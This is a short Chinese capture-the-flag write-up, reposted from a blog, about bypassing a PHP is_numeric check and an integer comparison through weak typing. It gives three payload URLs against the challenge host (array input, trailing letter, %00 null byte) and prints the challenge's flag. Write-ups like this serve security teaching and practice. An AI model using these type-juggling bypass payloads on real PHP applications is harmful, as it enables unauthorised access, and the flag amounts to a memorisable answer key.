码迷,mamicode.com
首页 > 其他好文 > 详细

代码审计-弱类型整数大小比较绕过

时间:2019-08-25 12:33:01      阅读:89      评论:0      收藏:0      [点我收藏+]

标签:类型   大小   die   弱类型   color   添加   div   eric   php   

$temp = $_GET[‘password‘];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){
echo $flag;

is_numeric

同样可以用数组绕过、%00截断、添加其他字符

 

http://123.206.87.240:9009/22.php?password[]=1
http://123.206.87.240:9009/22.php?password=9999a
http://123.206.87.240:9009/22.php?password=9999%00

 

 

flag{bugku_null_numeric}

代码审计-弱类型整数大小比较绕过

标签:类型   大小   die   弱类型   color   添加   div   eric   php   

原文地址:https://www.cnblogs.com/gaonuoqi/p/11407106.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!